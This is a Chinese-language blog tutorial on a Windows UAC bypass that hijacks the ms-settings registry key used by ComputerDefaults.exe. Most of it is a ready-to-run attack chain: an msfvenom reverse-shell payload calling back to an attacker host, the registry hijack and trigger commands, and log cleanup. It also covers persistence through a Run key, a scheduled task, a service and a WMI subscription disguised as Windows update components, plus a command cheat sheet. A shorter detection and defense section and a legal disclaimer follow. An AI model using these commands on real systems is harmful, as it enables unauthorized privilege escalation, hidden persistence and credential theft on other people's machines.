本文最后更新于 2026-01-25,文章内容可能已经过时。

在Windows渗透测试中,绕过用户账户控制(UAC)是获取高权限的关键一步。本文将详细介绍如何利用ComputerDefaults.exe实现UAC绕过、权限提升和持久化。

背景与原理

什么是UAC?

用户账户控制(UAC)是Windows的安全机制,旨在防止恶意程序未经授权进行系统更改。即使以管理员身份登录,大多数程序也默认以中等完整性级别运行,需要明确同意才能获得高权限。

ComputerDefaults.exe是什么?

ComputerDefaults.exe是Windows中设置默认程序的工具。其特殊之处在于:

  1. 它需要修改系统设置,因此会自动以高完整性级别运行

  2. 它通过注册表查找要执行的命令

  3. 相关的注册表项在HKCU(当前用户)下,管理员用户可以修改

劫持原理

text

ComputerDefaults.exe启动
    ↓
检查注册表:HKCU\Software\Classes\ms-settings\Shell\Open\command
    ↓
找到我们设置的恶意命令路径
    ↓
以高权限执行该命令
    ↓
我们的payload以SYSTEM或高完整性级别运行

环境准备

攻击机配置

  • 操作系统:Kali Linux

  • IP地址:<YOUR_ATTACKER_IP>

  • 工具:Metasploit Framework

目标机配置

  • 操作系统:Windows 10/11

  • 已获得:初始Administrator权限(中等完整性)

    • shell -> whoami /groups | findstr "Mandatory"

  • 目标:获取SYSTEM权限并建立持久化

Payload生成

bash

msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=<YOUR_ATTACKER_IP> \
  LPORT=<LISTEN_PORT> \
  -f exe \
  -o backdoor.exe

手动劫持步骤

第一步:上传Payload

bash

# 在已有的meterpreter会话中
meterpreter > upload backdoor.exe C:\\Windows\\Temp\\backdoor.exe
[*] uploading  : backdoor.exe -> C:\Windows\Temp\backdoor.exe

第二步:备份原始注册表(安全第一)

bash

meterpreter > shell
C:\> reg export "HKCU\Software\Classes\ms-settings" backup.reg 2>nul

第三步:创建注册表劫持

bash

# 1. 创建注册表键结构
C:\> reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /f

# 2. 设置默认值为payload路径
C:\> reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "C:\Windows\Temp\backdoor.exe" /f

# 3. 创建关键的空DelegateExecute值
C:\> reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f

参数解析:

  • /ve:设置默认值(名称为空)

  • /t REG_SZ:字符串类型

  • /d:数据值

  • /f:强制覆盖

  • DelegateExecute:空字符串是关键,阻止系统使用默认处理程序

第四步:验证注册表设置

bash

C:\> reg query "HKCU\Software\Classes\ms-settings\Shell\Open\command" /s

# 预期输出:
HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command
    (默认)    REG_SZ    C:\Windows\Temp\backdoor.exe
    DelegateExecute    REG_SZ

第五步:触发提权

bash

C:\> start computerdefaults.exe
# 程序在后台运行,无可见窗口

第六步:接收高权限会话

在攻击机上检查新会话:

bash

msf6 > sessions

Active sessions
===============

  Id  Name  Type                     Information
  --  ----  ----                     -----------
  1         meterpreter x64/windows  Administrator @ WIN10-PC
  2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ WIN10-PC  # 新会话!

验证新会话权限:

bash

msf6 > sessions -i 2
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

第七步:清理注册表痕迹

bash

C:\> reg delete "HKCU\Software\Classes\ms-settings" /f
C:\> del backup.reg

持久化策略

获得SYSTEM权限后,实施多层持久化:

1. Meterpreter Persistence模块

bash

meterpreter > run persistence -U -i 60 -p <LISTEN_PORT> -r <YOUR_ATTACKER_IP>
  • -U:用户登录时运行

  • -i 60:每60秒重连

  • -p/-r:指定端口和IP

2. 注册表启动项

bash

meterpreter > reg setval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \
  -v "WindowsUpdate" \
  -d "C:\\Windows\\Temp\\backdoor.exe"

3. 计划任务

bash

meterpreter > shell
C:\> schtasks /create /tn "SystemMaintenance" \
  /tr "C:\Windows\Temp\backdoor.exe" \
  /sc onstart \
  /ru SYSTEM /f

4. 系统服务

bash

C:\> sc create "WindowsUpdateService" \
  binPath= "C:\Windows\Temp\backdoor.exe" \
  type= own \
  start= auto \
  DisplayName= "Windows Update Service"

5. WMI事件订阅(高级隐蔽)

powershell

# 创建WMI事件过滤器
$filter = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{
    Name = 'SystemMonitor'
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}

# 创建WMI事件消费者
$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{
    Name = 'SystemMaintenance'
    CommandLineTemplate = "C:\Windows\Temp\backdoor.exe"
}

# 绑定过滤器和消费者
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{
    Filter = $filter
    Consumer = $consumer
}

防御与检测

如何检测此类攻击?

1. 注册表监控

监控关键注册表路径的修改:

powershell

# 监控HKCU\Software\Classes\ms-settings的更改
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 4657  # 注册表值修改
} | Where-Object {$_.Properties[1].Value -like '*ms-settings*'}

2. 进程监控

检查ComputerDefaults.exe的异常子进程:

powershell

Get-CimInstance Win32_Process | Where-Object {
    $_.Name -eq 'computerdefaults.exe'
} | Select-Object ProcessId, CommandLine, ParentProcessId

3. 文件系统监控

监控C:\Windows\Temp目录的可执行文件创建:

powershell

Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 4688  # 新进程创建
} | Where-Object {$_.Properties[5].Value -like '*\Windows\Temp\*.exe'}

防御措施

1. 最小权限原则

  • 用户不应有不必要的管理员权限

  • 使用标准用户账户进行日常操作

2. 应用控制策略

powershell

# 使用AppLocker限制未签名程序执行
New-AppLockerPolicy -RuleType Publisher, Hash, Path -User Everyone

3. 注册表权限加固

限制对关键注册表项的写权限:

powershell

# 限制HKCU\Software\Classes\ms-settings的权限
$acl = Get-Acl "HKCU:\Software\Classes\ms-settings"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule(
    "Users", 
    "ReadKey",
    "ContainerInherit,ObjectInherit",
    "None",
    "Allow"
)
$acl.SetAccessRule($rule)
Set-Acl -Path "HKCU:\Software\Classes\ms-settings" -AclObject $acl

4. 端点检测与响应(EDR)

配置EDR规则检测异常行为:

  • ComputerDefaults.exe启动非系统程序

  • 临时目录中的可执行文件

  • 异常的WMI事件订阅

技术深度分析

为什么这个方法有效?

  1. 信任链滥用:ComputerDefaults.exe是微软签名的可信程序

  2. 自动提权机制:需要修改系统默认程序,因此自动请求高权限

  3. 用户可写配置:关联配置在HKCU下,用户可修改

  4. 协议处理程序:ms-settings是Windows协议,可被劫持

与其他UAC绕过方法的对比

方法

适用系统

隐蔽性

成功率

复杂度

ComputerDefaults

Win8/10/11

中等

FodHelper

Win10/11

中等

Event Viewer

Win7-10

SDCLT

Win7-10

DLL劫持

所有版本

变数大

演化历史

  1. 2017年:该方法首次公开披露

  2. Windows更新:微软尝试修复但未完全成功

  3. 当前状态:在最新Windows 10/11中仍然有效

  4. 变种:衍生出多种类似的协议劫持方法

实战案例

场景:企业内网渗透

  1. 初始访问:通过钓鱼邮件获得初始立足点

  2. 权限提升:发现是本地管理员但受UAC限制

  3. UAC绕过:使用ComputerDefaults方法获得SYSTEM权限

  4. 凭证窃取:转储LSASS内存获取域凭据

  5. 横向移动:使用获取的凭据访问其他系统

  6. 持久化:建立多个持久化机制

操作时间线

text

09:00 - 初始感染,获得User权限
09:30 - 本地提权到Administrator
10:00 - 发现UAC限制,研究绕过方法
10:30 - 成功使用ComputerDefaults绕过UAC
11:00 - 获得SYSTEM权限,开始凭证收集
12:00 - 建立多层持久化
13:00 - 开始横向移动

法律与道德考量

授权测试

  • 仅在获得书面授权的环境中进行测试

  • 明确测试范围和目标

  • 遵守当地法律法规

负责任的披露

发现漏洞时应:

  1. 向厂商报告

  2. 给予合理修复时间

  3. 避免公开详细利用代码

  4. 协助验证修复

总结

ComputerDefaults劫持是一种有效的UAC绕过技术,利用了Windows信任机制的设计缺陷。其优势在于:

  1. 简单有效:只需几条注册表命令

  2. 跨版本兼容:适用于多个Windows版本

  3. 高成功率:在多种环境下测试有效

  4. 教育价值:深入理解Windows安全机制

关键要点

  • UAC不是绝对安全边界,只是增加攻击难度

  • 防御需要多层策略,包括监控、最小权限和应用控制

  • 持续监控和更新是保持安全的关键

进一步学习

  1. 研究其他UAC绕过技术(如COM劫持、DLL劫持)

  2. 学习Windows完整性级别机制

  3. 实践端点检测规则的编写

  4. 参与CTF比赛中的PrivEsc挑战

附录:常用命令速查

bash

# 生成payload(替换尖括号内的值)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<YOUR_ATTACKER_IP> LPORT=<LISTEN_PORT> -f exe -o backdoor.exe

# 注册表操作
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "C:\Windows\Temp\backdoor.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f

# 触发提权
start computerdefaults.exe

# 检查权限
whoami /groups | findstr "High"

# 清理痕迹
reg delete "HKCU\Software\Classes\ms-settings" /f

注意:本文仅用于教育目的。在实际环境中使用这些技术前,请确保获得合法授权。未经授权攻击计算机系统是违法行为。